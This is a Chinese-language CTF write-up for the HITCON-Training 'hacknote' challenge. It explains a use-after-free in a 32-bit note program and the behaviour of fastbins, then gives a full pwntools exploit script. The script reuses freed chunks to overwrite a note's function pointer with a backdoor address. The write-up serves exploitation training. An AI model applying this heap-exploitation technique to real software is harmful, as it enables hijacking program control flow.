题目下载地址:https://github.com/scwuaptx/HITCON-Training
哈哈哈,纪念一下明白的第一道堆题,虽然它真的很简单。。。
32位程序
三个功能,增、删、打印
程序给我们预留了后门函数
add函数,创建note会有两个堆块,分别是存放两个函数指针的8字节堆块和存放内容的堆块
这个示意图很清楚:
delete函数
print函数
因为存在uaf漏洞,又有后门函数,所以考虑,将后门函数地址写入context,让该context覆盖8字节print_note_content的地址
再打印该chunk的时候,函数指针会指向这块区域,从而执行后门函数
了解一下fastbin(64位)
fastbin所包含chunk的大小为16 Bytes, 24 Bytes, 32 Bytes, … , 80 Bytes。当分配一块较小的内存(mem<=64 Bytes)时,会首先检查对应大小的fastbin中是否包含未被使用的chunk,如果存在则直接将其从fastbin中移除并返回;否则通过其他方式(剪切top chunk)得到一块符合大小要求的chunk并返回。
而当free一块chunk时,也会首先检查其大小是否落在fastbin的范围中。如果是,则将其插入对应的bin中。顾名思义,fastbin为了快速分配回收这些较小size的chunk,并没对之前提到的bk进行操作,即仅仅通过fd组成了单链表而非双向链表,而且其遵循后进先出(LIFO)的原则。
类似于0 day这本书的块表
因为程序是32位的,所以fastbin中块的大小为8Bytes, 12Bytes, 16Bytes, … , 40Bytes
我们的函数指针是8字节的,所以,如果我们先分配两个快,他们的大小不等于8字节,那么,free掉这两个块的时候,fastbin中的情况
8字节的 --> chunk1指针 --> chunk0指针 --> tail
n(<40字节)--> chunk1 --> chunk0 -->tail
那么,我们malloc的时候,size选择0x8,add函数中先分配指针的堆块,然后分配content的堆块
1.8字节的 --> chunk0 -->tail
chunk2指针=chunk1指针
chunk2_content=chunk0指针
所以,在打印chunk0的时候,chunk0的函数指针会指向chunk2的content,如果之前传入了后门函数magic,就可以顺利执行了
#coding=utf-8
from pwn import *
p=process('./hacknote')
magic_addr=0x08048986
def add(size,content):
p.recvuntil("Your choice :")
p.sendline('1')
p.recvuntil("Note size :")
p.sendline(str(size))
p.recvuntil("Content :")
p.sendline(content)
def delete(index):
p.recvuntil("Your choice :")
p.sendline('2')
p.recvuntil("Index :")
p.sendline(str(index))
def print_note(index):
p.recvuntil("Your choice :")
p.sendline('3')
p.recvuntil("Index :")
p.sendline(str(index))
add(0x32,'aaaa')#0
add(0x32,'aaaa')#1
delete(0)
delete(1)
add(0x8,p32(magic_addr))#2
print_note(0)
p.interactive()
在本地/home/hacknote下创建了flag文件
执行结果:
参考博客:https://www.jianshu.com/p/f894c2961ca6